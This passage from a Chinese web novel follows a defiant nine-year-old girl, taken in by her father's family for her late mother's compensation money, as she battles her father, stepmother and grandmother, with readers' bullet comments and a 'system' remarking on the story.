怡被他推了一个趔趄,回头看了他一眼,又低回头去,沉默着没说话。她那副表情,大概是大人最不耐烦看的样子,秋父当即来了脾气,想展示一下父亲的权威,提高嗓门道:“跟你说话呢!听见没!快叫啊!”秋天怡又被他推了一个翅趄,终于有些生气了,回头看向他。 “是你求我来的,还是我求你来的?” 秋父:…… 在他的概念里,秋天怡就算不愿意,哭两嗓子也顶天了,一个小屁孩,还能反了天去。 但秋天怡看他的眼神,好像完全没把他当爹,一点没有尊重的意思,秋父顿时来了脾气,又给了她一杵子:“你说什么?” 秋天怡有了前车之鉴,早有准备,噔噔跑到台阶上,冷着脸看他:“我说你不想要我就把我送回去,你说对我好才来的,对我不好我就走了!” 秋父:…… 原本以为很好摆平的人,突然露出刺头的样子,让秋父愣在原地。 但大人是不会放弃对小孩展示权威的,秋父顿时上劲了,撸起袖子就要给她点颜色瞧瞧:“你妈都没了,你还敢在你爹面前扎刺!” 秋天怡以前没有见过喜欢动手的大人,但这不妨碍她有对策。 一把夺过沈老头抽出来的自行车链条,对着秋父就抽过去:“你敢打我!你敢打我!打死你!” 她虽然身体矮小,但链条那种东西,抽起来就够劲,再加上台阶的高度加持,秋父当即就被抽到了脸上,连连后退,不敢置信地看向她。 “死丫头,你疯了!” 秋天怡发育得很好,九岁已经有一米三了,站在台阶上挥舞链条,一夫当关,万夫莫开。 蒋老太和沈老头也没想到她能这么干,连滚带爬地逃离链风攻击,第一次正视这个接回来的孙女,不敢置信。 啥玩意啊? 秋父被落了面子很没面子,但链条打人又实在是疼,只能张口结舌地站在原地,不知该怎么办。 还好马慈心反应过来,赶紧去看他脸上的伤,转头对着秋天怡斥道:“你这孩子干什么,怎么能打爸爸呢!” 秋天怡眼睛一转,看向她:嗯? 马慈心:.… 她和现在的秋父,是有点夫妻相的,同样是胖乎乎的身体,脂肪多抗揍,但她也不想上去挨抽…… 见状,马慈心两眼一转,软下声音,语重心长道:“哎呀,这是干啥呀,亲爹亲闺女的,有什么话不能好好说话吗,动什么手啊!”秋天怡丝毫不让:“他先动的!” 马慈心顿时露出一个笑容:“你爸哪是想跟你动手啊,他就是嗓门大,看着吓人!” “这乡里乡亲的,谁不知道你爸是个好脾气的,就是心好嘴坏。” “你这个当女儿的,也该体谅着他点,还有你,这么和闺女说话干什么,不能好好说吗!” 秋父捂着自己的脸,不敢相信发生了什么。 他刚把亲女儿接回来,就被亲女儿抽了一顿,反而是后妈在里面调停起来。 这不对吧!世上哪有这种事啊!哪个环节出问题了吧! 原本想展示父亲的权威,却一步步落入下风,到现在他自己都成了台阶下的小丑。 秋父又气又找不到解决办法,只能捂着脸嘴硬道:“我看这个孩子是被她亲妈教坏了,不给她点颜色看看,她要上天了!” 秋天怡才不管那个,他一说,就把链条一甩,虎视眈眈地看着他,那么娇小的身躯,不知为什么竟带了一丝威胁意味。 马慈心表面左劝右劝,心里其实快笑疯了。 她作为二婚带娃后进家的继母,现任丈夫前妻的孩子不在还好说,一在,首当其冲的就是她。 她在这个家处境本来就微妙,公公婆婆全在,还有个小姑,一家人和防贼似的防着她。 要是和新老公有个新孩子还好,现在孩子还没影呢,老公的亲女儿先回来了。 这下全家好几口,只有她和婷婷两个外人,这一家子要是联合起来,可就没她们母女的容身之处了。 在“大小姐”回来之前,马慈心每天转悠着眼睛想办法,结果“大小姐”刚回家,就把亲爹打了。 哈哈,怎么有这种好事呢! 事不关己,人就喜欢看热闹。 马慈心一边偷偷把嘴笑咧了,一边大喊,展示后妈慈爱—— “都冷静点啊,大家都冷静点啊!” “有什么事不能坐下谈啊!大家都是一家人嘛!” “哈哈哈!” 97-106 97、《暖暖掌中光》 马慈心在旁边一边看热闹,一边唯恐天下不乱,又像息事,又像拱火。 一旁的蒋老太看不过去了,直接上前一步,伸出手就将秋天怡手中的链条夺过来,扔到地上,生气道:“干什么!” 蒋老太不喜欢马慈心,也不喜欢秋蕙。 新媳妇进家后,各种事都不如秋蕙勤快,也没打消她对秋蕙的恶意,甚至对秋蕙的恶意更大了。 因为“还是你前媳妇好吧”这句话,外人爱说,婆婆却不爱听。 别人一说,她就觉得是在拐着弯挑她刺,看她笑话,心里憋了一口气,怎么也咽不下。 所以蒋老太既不喜欢新媳妇,也讨厌旧媳妇,对旧媳妇生的孩子,自然也没什么好感。 秋天怡不提防被她从背后缴了械,不由死命挣扎,张着嘴想咬人,却抵不过蒋老太常年干活的力气。 蒋老太没想到这小东西这么牙尖嘴利,一把将她提搂起来,照着后背就来两下:“不想过了是吧!” 秋天怡:…. 她不哭…… 看着母亲把这小东西制住,秋父才松了一口气,又想逞威了。 蒋老太却一眼瞪过去:“你日子也过够了,不让你接你非接,接来你又给我闹事,不想养就给我送回去!” 秋父:……. 送是不可能往回送的,那可是160万呢,到嘴的鸭子,哪能飞了。 只是在他原本的想象里,160万如探囊取物,随便在边角路养猫养狗似的养个人就行了,哪想到这个人居然不乖乖被他养! 秋天怡被蒋老太提搂着胳膊,拖进屋里,一把给她抻一边:“给我老实待着!” 刚诞生的链条战神,就此陨落,秋天怡把嘴撇到地上,一看就是不服气。 蒋老太很讨厌秋蕙,但她的孙女好像和她妈不一样。 这么说也不对,秋天怡现在这副样子,和秋蕙离婚时发疯的样子可太像了。 但蒋老太讨厌秋蕙身上很多部分,偏偏她最后发疯时的那部分,她不讨厌。 又骂骂咧咧了好多,关上门,继续摘豆角去了。 屋里的沈君骄,黄瓜都忘啃了,和新侄女面面相觑半天。 不知过了多久,沈君骄缓缓把自己啃过的那箍节掰下来,将剩下的半根递过去。 “呶。”秋天怡看了一眼,撇起嘴,转过头继续生气。沈君骄缓缓收回黄瓜,重新塞进嘴里。不是,前嫂子到底生了个什么玩意啊! …… 可能是沈家人对秋蕙的刻板印象,造成了对秋天怡的误判,秋天怡一来,就给所有人上了一课。秋父作为直接被抽人,脸都出了一大绺,自然气得不行,想找点事,其他人却有点无所谓,蒋老太更是直接去做饭了,到饭点把秋天怡提搂出来。秋天怡坐在饭桌上,饭菜还挺丰盛的。 大锅炖出来的新鲜排骨,地里刚摘的豆角,新拌的黄瓜,蒋老太一句话也不说,将饭碗甩到秋天怡面前。 秋天怡低头看了下饭碗,抬头:“碗没洗干净!” 蒋老太当即给她脑袋一杵子:“吃你的得了!事那么多!” 秋天怡再次噘起嘴,伸出手指头使劲擦着碗:“以后这是我的碗,不洗干净我就不吃了!” 众人:…… 你到底有没有点寄人篱下的自觉啊! 马慈心带过来的女儿马婷婷,比秋天怡小三岁,跟着母亲学,最是一个会看脸色的人。在秋天怡来之前,就听很多人说了,要来个小姐姐,和她抢东西。如今见新来的小姐姐这么不听话,立刻骄傲地表功道:“奶奶,我就不嫌碗不干净!”蒋老太年轻时家里家外一把拿,是人人都夸的干活好手,如今年纪大了,肉眼可见的干活不利索,本来就很生气。 结果一个二个的,都当着她面挑剔起来,不由火冒三丈:“你也闭嘴吧!” 马婷婷: 马屁拍到马蹄子上,马慈心赶紧拽下女儿,马婷婷一直以来凭着嘴甜深得继父宠爱,哪受过这委屈,当即咧着嘴哭起来。 马慈心正指望着她争光呢,哪想到她那么不争气,气得让她闭嘴,又是一阵鸡飞狗跳。 趁着她们那一片乱的时候,秋天怡伸出筷子,看好哪块排骨,就把哪块夹进自己碗里。 这个家原来什么东西都紧着秋父吃最好的,如今一伸筷,才发现好吃的都被新接回来的女儿先下手为强了,不由拉下脸。 “你妈怎么教你的!爷爷奶奶都还没吃呢,你就夹自己碗里去了!” 秋天怡不仅没被他恐吓住,还瞪着他又将一块排骨夹自己碗里,看起来想再抽他一顿的样子。 蒋老太实在看不下去了,将一块带筋膜的软肉骨头夹自己女儿碗里,厉声呵斥道:“都给我好好吃!” 沈君骄却也不是个省心的,直接推她妈碗里,一边吃饭一边看手机:“我不吃,我减肥。” 蒋老太正要生气,秋天怡二话不说就从奶奶碗里,将她给小姑夹的那块排骨夹自己碗里,不要她要! 沈君骄:…… 蒋老太::…… 不是!你想干啥啊! 什么东西就怕抢,连号称减肥的沈君骄,也不由放下了手机,产生了威胁感,一家人从来没抢肉那么快过。 但现在下手有点晚了,秋天怡的眼睛真尖啊,菜盆里翻出来一块好吃又好啃的中排,就夹自己碗里,剩下的全是大块呆肉。 满座的人,除了马婷婷是真小孩,会为争吃的哭,其他都是大人,不屑于干那种事。 但看着秋天怡这种行为,非常眼气是怎么回事? 秋天怡才不管他们怎么想,旁若无人地把所有好排骨敛落到自己碗里,认真啃起来。 等满嘴流油地吃完上面的排骨,又将排骨打湿的那层米饭认真吃完,把碗一推,冷着脸道:“我不要了。” 蒋老太看着,怒火中烧,这个吃饭习惯,就算是亲妈见了也要打了,更何况是“后奶奶”。 但秋天怡把脖一仰,看过来的眼神,又明摆着告诉在座的所有人,她要找事。 大人的伪装,在小孩子看来一清二楚,小孩子的意图,在大人看来也一览无余。 她是吃饱了,可以开始搞事了,别人还没吃完呢。 蒋老太狠狠剜了她一眼,将她饭碗里剩的饭倒给沈老头,转头把空碗砸到她面前。 秋天怡看着收回来的空碗,有一点失望:她刚都做好准备,这家人敢骂她,她就把菜盆给扣了。 却没想到沈老头只是沉默地接过剩饭,倒点菜汤,呼噜呼噜吃完,没吭一点声。 其实他年轻时脾气挺爆的,最恶劣的时候,掏出扁担,打在蒋老太腰上,打得她好几天爬不起来。 老了老了,一点点被整个家庭和社会边缘化,也就不吭声了,仿佛一个隐形的吃饭机器。 在蒋老太的低气压下,一家人老实地吃完饭,给秋天怡安排住处,算是家里确实落下一个人。 屏幕里的人都憋了一口气,屏幕外的观众却都笑疯了。 “我嘞个豆,好熟练地对所有人进行服从性测试啊,不愧是你青神!” “不是啊,她还那么小,又没了妈妈,就不害怕把大人惹急眼了,揍她一顿吗,我都害怕了!” “害怕啥啊,小青神被打be like:你最好打死我,你打不死我我就弄死你!” “楼上ooc了,其实感觉青神应该挺怕的,因为她从来不对蒋老太进行极端反击,只行为试探,因为她知道蒋老太生起气来,真会揍她,且打不过,哈哈哈!” “我嘞个又怂又刚啊,你青神小小年纪,已经能屈能伸,熟读兵法了!” “这个世界好像是自卑丑小鸭,被阳光男神救赎的副本,这样的青神要怎样才能自卑,系统,你有思路吗?” 系统:…… 为了保证年幼的叶奚青,纯天然无公害长大,系统这次没进入世界里,也没对幼年叶奚青,展露系统的存在。 作为上帝视角,对叶奚青的观察更仔细了,然后它就发现,怎么叶奚青小时候就已经很像叶奚青了! 虽然让一个人不像自己,挺无理取闹的,但成人的性格,往往和童年经历相关,不同的经历,会产生不同的性格, 但叶奚青怎么一样啊! 原本给失忆叶奚青安排的是欲扬先抑救赎本,只要她熬过童年最黑暗的时刻,就会迎来最终的救赎。 但就说她这个性格,到底能经历什么黑暗啊! 因为秋天怡的到来,沈家进入了至暗时刻。 众人沉默地给她安排住处,没敢怠慢一点,只有小孩子才会纯粹发泄好恶,大人往往会权衡利弊。越乖的孩子越不用付出维护成本,吵闹的孩子才需要额外精心,不然她闹起来,会给大人造成损失。蒋老太给她找了床新褥子,又给她找了一条新毯子:“以后你就在这睡!”秋天怡毕竟是城里小孩,没住过这种农村大士炕,不由撇撇嘴:“我要一个人睡。”蒋老太纵容她也不是无极限的,当即又给她脑袋一杵子:“让你睡哪你就睡哪,事那么多!”毕竟是个小孩,总有被人优先怜爱权,沈君骄站出来打圆场:“好了妈,她这么小懂什么,过几天习惯就好了。”沈家的房子很大,但农村什么资源都节省,不可能捣鼓出那么多屋住人。秋父和他老婆住东屋新房,老两口住西屋偏房,后来沈君骄长大了不愿和爹妈一起住,就又收拾出一间来,马婷婷来了后,就住沈君骄那里。 本来沈君骄是很不乐意,但不同意,她新嫂子事又多了。如今又给她加塞一个小崽子,她都习惯了。一切尘埃落定,秋父就来劲了。 刚进门的一场闹剧,将一切面子工程都撕破,他也就不装了,等人都走了,居高临下地看着秋天怡。 “跟你说,这个家也不是白让你住的,以后你每一笔花销,都要记下来,从你卡里取知道吗?” 秋天怡知道他说的卡就是妈妈的赔偿金,每个人收养她都是为了这个。 但有恃无恐,有了依仗,就不怕任何人。 秋天怡抬起头,直接道:“你活不起了,和小孩要钱?” 98、《暖暖掌中光》 秋父:……. 已经被折了一次面子,没想到秋天怡还敢顶撞他,大人对小孩宣示权威的最好武器就是暴力,于是秋父又举起了手:“你敢跟你爹这么说话!” 秋天怡却早已做好准备,看着沈君骄摆在书桌上的笔记本电脑,心里升起一个念头,这个一定贵。 冲过去举起来就冲着秋父砸去:“你去死吧!” 秋父被她暴起砸人,骇得不轻,连忙后退,电脑哐啷一声砸在地上。 沈君骄看着零件都蹦出来的电脑,缓缓瞪大眼睛,发出一声尖叫—— “你们干什么!” 不顾一切地去抢救自己的电脑,插上电源,怎么按都没反应。电脑可以说是沈君骄最贵重的物品,放假都没舍得放宿舍,提回家里,结果在家里遭了难。沈君骄瞬间崩溃,对着哥哥咆哮:“你们想干什么!”秋父:…… 他也没想到事情会发展到这种地步,冲上去几步,将秋天怡捞到怀里,照着屁股就是一顿猛揍。 “让你摔电脑!让你摔电脑!” 秋天怡咬着牙,不想哭出来,让别人看笑话。 但小孩虽然对痛觉忘性大,对直接刺激却很敏感。 秋天怡忍了忍,没忍住,不由对着所有人哭喊道:“你们这些坏人!我一定会杀了你们所有人!把你们房子砸了!厨房点了!呜呜呜!妈妈!” 秋父一听,气得又打了好几下,结果秋天怡不是叫妈,就是嚷嚷着杀人又放火,没有丝毫服软的意图。 小孩子对大人的暴力没有办法,大人对小孩子一根筋的哭闹也没有办法。 闻声赶来的马慈心也有点看不下去了,叫住秋父:“别这样!邻居听见了不好!” 秋父被气得一头蒙,也没有头绪,只能放下秋天怡。 秋天怡哭得很惨,却一直用仇恨的眼光看着他,胸膛剧烈起伏,没有丝毫退让的意思。 秋父撸了一把自己脑袋,不知道自己怎么连一个小孩都搞不定。 蒋老太闻声赶过来,看着一地狼藉,立时沉下脸:“明天就把她送回去!” 秋父:…… 要是能送他早就送了,还不是被那160万闹的! 真是的,一个小孩手里的钱,哪那么不好弄了,眼前的棘手画面,完全是秋父想不到的! 马慈心见秋父进退两难,赶紧把他连拉带拽地劝回屋,给他个台阶下。 屋里只剩沈君骄气得蹦高:“我不管你们怎么回事,我的电脑得有人赔!” 蒋老太不懂电脑,但摔成这样谁都明白,当初买电脑的时候,还是她跟着去的,自然心疼得不行,狠狠瞪了秋天怡一眼。 “回头找个修电脑的修修,要是修不好,就让你哥给你买个新的,他要是不给你买,就让这个小崽子给你赔,知道吗!” 秋天怡:… “啊呜呜!妈妈!我要找妈妈!把你们都杀掉!杀掉!呜呜呜!”众人:……这是沈家人第一次刷新小祖宗的概念,打也不怕打,理也讲不透,发起蛮来什么都不管。 一时间,没人敢靠近她,只剩她一个人在原地号啕大哭叫妈妈,哭久了还让人心惶惶的。沈君骄被她摔了电脑,气头上发疯,但一个孩子就在你面前哭着叫妈妈,也很少有人能完全不动容。等确定自己的电脑完全嘎了,沈君骄只能憋着一肚子气去哄她别哭:“哭什么哭!再哭你妈也回不来了!”“啊呜呜!”秋天怡哭得更大声了。 其他人在别屋,还能装听不见,沈君骄躲都没法躲。 一把将她抱到炕上,威胁道:“再哭你妈就不接你来了知道吗!” 秋天怡其实知道妈妈已经不在了,但她也不想继续哭下去了,就抽搭搭地努力忍住眼泪。 急促的情绪,把小脸憋得通红,倒是让沈君骄于心不忍了。 恩威并施,连哄带吓地说了好些话,终于让她安静下来。 就是翻头看见自己陨落的电脑后,怒火重新上涌:不是!她惹谁了! …… 在小姑姑的威严下,熊孩子终于安静了,所有人都松了一口气。 秋父忍不住捶了一下床头:“这都什么事啊!” 马慈心刚洗完脸,敷完面膜,坐到他旁边,安慰道:“好了,你气性别那么大,这才刚接回来一天,着什么急啊!” 听她这么说,秋父这才缓缓反应过来,对啊!这小崽子才刚接回来一天! 身为大人,软的硬的手段都太多了,怎么也不至于闹成这副样子。 后妈进门还装三天呢,他怎么就直接杠起来了? 回忆过去,才发现那小崽子一直往他气头上顶,他没怎么防备,就被顺着跑了。 现在想来软的也来不了了,小孩也不傻,发现你跟她服软,更要上天了。 推了推媳妇的腰:“明天你去说!” 马慈心拍打着脸,听说这样好吸收,听到这顿时打包票。 要她说,就不让秋天怡回来,当初贪了那点赔偿金,以至于现在都不好收场。 好在这个亲女儿,是先和她爹闹起来的,那她还便利了许多。 不管怎么说,秋天怡才是这个家有血缘关系的亲孩子,就算沈家人再不喜,时间长了还是认亲孙女。 后妈不好当啊,带着孩子的后妈更不好当,她也得为自己和婷婷考虑一下。 …… 有了之前的大闹,第二天果然安静了一点,所有人都不敢主动招惹秋天怡了。 秋天怡倒是习惯了沈家的一切,早起往餐桌上一坐就等着吃饭。 秋父忍不住嘴贱一下:“这么有骨气,怎么还吃我家饭啊!” 秋天怡也不跟他客气,抬起碗,把盛着粥的碗砸他肥大身子上,秋父顿时抻着T恤惊呼:“哎!” 蒋老太过来,直接给自家儿子一杵子:你有病!惹她干吗!她不懂事你也不懂事吗! 教训完大的,转头又教训小的:“你想不想过了,不想吃就别吃了!” 秋天怡从她手里抢过碗,自己给自己盛一碗:谁说她不吃! 沈家人:…. 这死丫头是一点亏不吃啊…… 几个回合的交锋,终于分出了胜负,秋天怡虽然还是一个可以被随时拎起来揍的小孩子,沈家人却都不怎么敢动她了。 吃完饭,秋父开车带着沈君骄去修电脑,回来果然一脸怒气:“反正我的电脑不能白没了。” 秋父一脸不耐道:“行了行了,你之前那个电脑不也是我掏钱买的。” 沈君骄气得回自己屋里了,懒得理他们。 马慈心平时会去五金店里看着,但最近家里事那么多,就打发公公过去看一会。 五金店和日用品店不一样,除非工程大单子,派个人看着就行,老头也能应付得了,反正钱都扫她微信上。 这也是马慈心在这个家这么有底气的原因,家里财政大权,已经被她一手掌握了。 看着丈夫和小姑子回来,马慈心也知道自己该干活了,转头看向趴在茶几上写作业的秋天怡。 “小秋啊,小姑姑的电脑被你摔坏了,知道吗?” 秋天怡旁若无人地写着作业,其实她已经不在那个学校念了,转校也不会检查她原来学校的作业,但她习惯善始善终。 马慈心在那放着狗血爱情片,也不影响她动笔,对马慈心说的话仿佛没听见。 马慈心见状也不气馁,继续温柔地笑道;“小秋,这么爱学习,一看就是好孩子,老师教没教过你弄坏别人的东西,要赔礼道歉啊?” 听她说到老师,秋天怡才停下笔,转头看向她,面无表情道:“我没钱,你去找我家大人。” 马慈心就等她这句话呢,拍手叫好,笑得花都要开了:“真乖啊,我们天怡知道承认错误就好。” “那你能写个字条吗,承认你打坏了小姑姑的东西,然后在你妈妈的卡里,把姑姑的电脑钱取出来,就当给小姑姑赔礼道歉了,好吗?”秋父怒气萦胸地回来,听见马慈心的话,顿时支起了耳朵,不愧是他老婆啊,真有一套!秋天怡这次没有说话,马慈心心里暗喜,果然小孩不能一味地打,有时候也得来点软的。 群大人,弄不过一个小孩,那也太招笑了。 马慈心笑眯眯地等着秋天怡的回答,就见秋天怡抬头:“我是隔壁王叔叔的孩子吗?”秋父在旁边听着直乐,冷不丁听到这句话,不由愣住了:嗯?秋天怡似乎完全不知道自己语出惊人,面不改色继续道:“我妈死了,我爸又没死,你要赔钱就去找我爸!”“如果我爸不是这个人,就带我去找我真正的爸爸,你们又不是我真正的爸爸,把我接来干什么!”“我要告诉警察阿姨,你们一家人拐小孩,啊呜呜!”马慈心:……. 秋父:……. 这是怎么扯到这个话题的! 两个成年的大人,瞬间感觉自己脑瓜子嗡嗡的,马慈心强笑着试图找回话语权:“爸爸怎么能不是亲爸爸呢,他……” “那你去找他赔钱!” “不是那么回事啊,小姑姑的电脑不是我们天怡打坏的吗,天怡要敢作敢当啊!” “呜呜呜!你们都是人贩子!我要找亲爸爸!” 马慈心苦口婆心,说了一大堆道理,大人都听懂了。 秋天怡却只接受二向循环,是亲爸爸就赔钱,不赔钱就不是亲爸爸,人贩子!让警察把你们都抓起来! 马慈心:… 你是故意的吧! 99、《暖暖掌中光》 秋父听了一会儿,就懒得听了,直接回屋,摔上门。 马慈心也车轱辘累了,跟着他一起进屋,等他们走了,秋天怡为了哭张着的大嘴瞬间闭上,低头写作业。 她这么收放自如的演技,瞬间让秋父火冒三丈,跟秋天怡那个小滚刀肉没有办法,就把气撒马慈心身上:“你看看!你看看!有用吗!” 马慈心虽然平时爱装好人,可不是个好脾气的,直接嚷回去:“你冲我吼什么!那又不是我闺女!” 秋父气了个半死:“是!我闺女!” 二婚的夫妻就是这样,一婚的时候还毫无顾忌,总觉得没了那个黄脸婆,还可以找个更好的。 空了几年,娶不上媳妇,家里全仗老娘,一团糟后,就知道妥协了。 秋父现在已经不敢离第二次婚了,对二婚老婆就没那么硬气。 翻来覆去生闷气,突然反应过来,对啊,是他闺女! 之前和秋蕙离婚的时候,秋父总觉得自己年轻,不管是老婆,还是一个小丫头片子,都没那么重要。 现在人入中年,才反应过来,自己其实就那么一个孩子! 因为是个小丫头,秋父脑海里从来没升起过把她当自己后代的念头,当初离婚时也没想要,只想用孩子的抚养权要挟秋蕙净身出户,这次接回来也只是为了那160万。 现在突然意识到,若他还没有孩子,秋天怡就成了他在这个世上唯一的血脉,马婷婷纯粹是为了让婚老婆开心养的,当然不可能算他孩子。 那他现在还能拥有别的孩子吗…… 这种东西之前没想过,也没什么感觉,现在突然反应过来,怎么有点不对劲呢? 秋父心里突然升起了别的念头,辗转反侧,不知想了多久,拿脚踹马慈心后腰,一脸猥琐地笑道:“哎,给我生个儿子呗。” 马慈心在秋天怡那吃了一肚子气,正心情不好,和任何人都没好脸色。秋父这么一下,让她的心跳了一下,怎么突然提这个事了?已经离过一次婚的她,早就知道一切向钱看,秋父的举动和意图,瞬间给她造成了极大心理压力。是啊,该生个儿子了,要不然过几年,那个后捡回来的小崽子,倒成了沈家唯一的血脉了。别看沈家人现在对秋天怡没个好脸色,要是她真的和秋父一直没自己的孩子,那到最后还是亲的亲。她为沈家付出了那么多,沈家那个五金店,明明是她跑得更多,没道理老了老了,还被他们踢出去,她一定要在这个家站稳脚!有了现实的考量,顿时顾不上闹情绪了,回头半嗔半笑地对着秋父啐道:“没个正形,大白天说这个干什么!” …… 秋父发出一串响亮的笑声,老夫老妻的,突然新生了一些夫妻情趣。 秋天怡在客厅的茶几上写作业,小朋友都有从众性,马婷婷见秋天怡这么努力,立时也搬过来一个小板凳,装模作样地看书,一定不让新来的小朋友把她比下去!农村的房屋隔音不好,秋父马母的房间挨着客厅,里面人说话声一览无余。 马婷婷年纪还小,本来就不是真心看书,大人走了,顿时三心二意,支着耳朵听隔壁房间的动静。 听到“生儿子”,别的小孩不知道什么意思,马婷婷却是知道的,趴下身子,压低声音,一脸得意地对着秋天怡道: “我要有小弟弟了,等有了小弟弟,这个家就是我和妈妈的了,到时候让沈爸爸把你赶出去!” 秋天怡转头看向她,虽然只差三岁,但上过学的三岁,和没上过学的三岁可不一样。 秋天怡这个更大的孩子,理所当然让这个连小学都没上过的小孩子,见识一下校园大姐头的权威。 “不会把我赶出去,我爸爸永远是我爸爸,你又不是我爸爸的孩子,你是隔壁王叔叔的孩子。” “等你有了小弟弟,你妈也要你弟弟,不要你了,你既没有爸爸,也没有妈妈,到时候所有人都不要你了,我就把你赶出去。” 马婷婷瞠目结舌,但还知道压低嗓音:“你妈才不要你呢!” 秋天怡无动于衷:“我妈当然要我,我又没有弟弟。” “我妈给我留下很多钱,可以把整个学校买下来那么多钱,你妈给你什么了?” “我妈给我的东西可多了,我给你看!” 秋天怡却把脑袋转过去:“不看。” 马婷婷着急去掰她脑袋,秋天怡却就是不看,嘴上一直不停。 “反正你妈有小弟弟了,就不要你了,你妈也不会给你钱,我们一家人都不要你,你只能去外面住,天黑我们也不给你开门。”小孩子的心理非常脆弱,根本分不清真假,越想给秋天怡证明,秋天怡越不看她,马婷婷就急了,举起手对着秋天怡捶打起来。 “你妈才不要你了!你妈不要你了!你是个没妈的孩子!” 之前无论是马婷婷还是秋天怡说话,都很小声,屋里人各自忙着自己的事,没工夫在意。 现在这一声带着哭腔的嘶喊出来,所有人都放下了手中活计,推门出去。 等出去就发现秋天怡缩在角落,沉默着任马婷婷撕扯,很可怜的样子。 等所有大人都出来,秋天怡才掉下眼泪,一把将马婷婷反按在沙发上,劈头盖脸一顿乱捶。 小孩越往后发育越快,秋天怡的体型已经比马婷婷大多了,轻松将马婷婷按住,马婷婷完全反抗不过,瞬间咧着大嘴哭起来。 马慈心哪受得了这啊,一把将秋天怡拽起来,扔一边,将自己的女儿解救出来,转头怒向秋天怡:“你干什么!” 秋天怡的表演欲也上来了,低下头,眼泪啪嗒啪嗒往下掉:“她说我是没妈的孩子.… 小孩天生就有卖惨的优势,更何况秋天怡还真是一个失去母亲的孩子,她安静地往地上掉金豆豆,比马慈心说十句话都好使。 蒋老太瞬间怒火上涌,对着马慈心怒斥道:“你怎么教孩子的,什么话都往外说!” 马慈心有苦说不出,她也不知道女儿为什么突然说这种话。 但有理辩十二分,没理也得辩三分。 这个家严格意义上来说,就她一个外人,只要有点事,全对着她开火,有理都说不清,更何况是没理,承认才算完了。所以马慈心才不会傻乎乎顺着话头说,直接扯开嗓门对吼:“小孩子不懂事拌几句嘴也就罢了,打人算怎么个事!”蒋老太也不是吃素的,冷冷地看着她:“小孩子不懂事,你也不懂事,她这话从哪听来的,还不是你教的!” “哎呦喂,我天天给你们家做牛做马,跑里跑外的,连孩子都顾不上经心,结果一出什么事,就都是我教的!” “我看你们就是看我们娘俩不顺眼,故意找茬,不想过了就离,我带着婷婷出去!” “离就离!谁拦着你!有本事出去就别回来!”话到这个份上,马慈心哪还能留这,抱着马婷婷就往门外冲。秋父见势不妙,赶紧去追,马慈心却一点没理他,去车棚开出自己的小电动,把马婷婷往前面一放,开着就回娘家了。秋父刚想研究一下晚上生儿子的事,媳妇就跑了,不禁对着亲妈无语道:“妈!你干什么!”蒋老太瘦瘦小小一老太太,脾气却大得狠:“别叫我妈!你叫她妈去!”两个女人把他甩一边,秋父就看向引发一切的秋天怡,指着她鼻子怒骂:“你就不想这个家好好的是不是,接你回来,一天惹了多少事!”秋天怡收起自己的作业,脸上已经没有泪水了,黑漆漆的眼眸瞥了他一眼,转头不屑地离开。秋父不确定,他好像确实在一个小孩身上看到了鄙夷的眼神。 “喂喂喂!你那什么眼神啊!” 弹幕也一片震惊,安排个后妈和继妹,什么用意就算没看过原剧情的也能猜出来,结果也就一天的工夫,灰姑娘就把后妈给赶走了!不明真相的人进来,还以为这什么“孤L怨”片场,一个疑问重新被提起,青神的记忆真的被压制了吗?如果是真的,她早熟得有点过分了吧!系统也焦头烂额,检查了一遍又一遍。 被原始叶奚青撅了剧情也只能说技不如人,被小孩叶奚青撅了算怎么回事啊! 顶着众人质疑的目光,秋天怡关上门,却没有像别人以为的那样,露出独属于叶奚青的招牌式得意微笑。 她拾起练习册,视线已经模糊到看不清任何东西,语言可以骗人,但眼泪总比心更快一步感受到疼痛。 只是一个事实罢了,妈妈死去,只是一个事实罢了,人怎么会为了一个无法改变的事实感到难过。 苦是一种感觉,痛是一种感觉,甜也是一种感觉,它们都是一种感觉,她能接受甜的感觉,为什么不能接受别的感觉呢? 一定是因为她太小了,不够坚强,才会为一些不应该存在的东西感到难受。 等她长大了,就再不会为这段过去感到心痛了。 …… 马慈心很懂得把握分寸,那天的状况,肯定不适合在那个家待下去了,就带着女儿回娘家待了好几天。算计着日子,也差不多了,五金店没她操持,肯定乱成一锅粥,让他们乱一下,才能知道她的好处。二婚媳妇可不能低三下四,越做低伏小,越被人看不起。 果然,没几天,秋父就主动来接她了,马慈心也有了台阶下。 然而当她回家,就看见蒋老太在给秋天怡梳小辫子,秋父在一旁跟她说话:“过几天就要开学了,你有时间给这小崽子办一下转学。” 马慈心震惊地看着这一幕,就几天的功夫,这几个人好像就成一家人了!她试探地看向秋父:“那学费怎么出,从咱们这出,还是从她妈那出。”秋父烦躁地摸了摸头皮:“你先打个条记下,等她长大了就和她要!”马慈心表面无所谓的应好,心里却极度震惊。她有点后悔回娘家了,要不然就能见证这一切是怎么发生的了…. …… 凡事不能做绝,他们家也不是过不下去了,在有个儿子接盘前,没必要对秋天怡做得太过分。 小孩子左不过是一些衣食住行学费上的事,秋天怡也度过了最难养的时候,花点小钱投资一下也是值得的。 就算秋天怡长大了白眼狼不认账,有证据证明,他们也能从法庭上把钱要回来,怎么也不亏。 等他后继有人后,再做计较! 于是沈家的策略,从着急忙慌从秋天怡手里抠钱,变成先记账,账单越累越多,连发票都留得好好的。 高考完的秋天怡,一张张从后往前翻阅,等翻到头上那个标价四千的“电脑损坏费”时,露出一个微笑,将账本合上,看向神情忐忑的众人。 “你们的意思是说,要我还?“ 100、《暖暖掌中光》 秋父的态度看起来很强硬,说出来的话却很柔情:“说什么还不还的,你是我亲闺女,我养你不应该的吗,就是让你看看,你爸没白养你,你个小没良心的!”秋天怡漫不经心地哼了一声,算是笑纳。要问她为什么这么拽这么有底气,因为秋父心念多时的儿子,至今未提现。秋天怡刚进家的时候,了解一下状况是可以的,一直看下去也无聊,叶奚青的童年又经历了一次小加速。加速过后,看着更新的沈家人相处状态,观众分外不解。前面秋父都说了生儿子什么的,结果居然没加这么个剧情,系统什么时候对青神这么友好了,居然主动给她减关卡?看过原剧情的观众回忆,这个世界的女主是应该有个弟弟,给她本就不好的处境,雪上加霜啊?观众纷纷为消失的弟弟好奇,系统却不想说话。作为小说世界,每个剧情都是有用的,既然提了沈家重男轻女的人设,后续肯定会有相应情节,儿子没到账,当然是有人人为努力了。马慈心带着孩子从娘家回来,姿态更高了,沈家人离不开她,她自然有了拿捏所有人的底气。小孩子忘性大,马婷婷吃过一次亏,已经忘了当初怎么被秋天怡拿捏,只记得那次被赶出去的仇。在姥姥家的时候,马婷婷还担心她和妈妈真的被赶出去,害怕得不行。结果现在无事发生,马婷婷更有理由找秋天怡的茬。秋天怡已经换了一身衣服,自从妈妈去世后,很少有人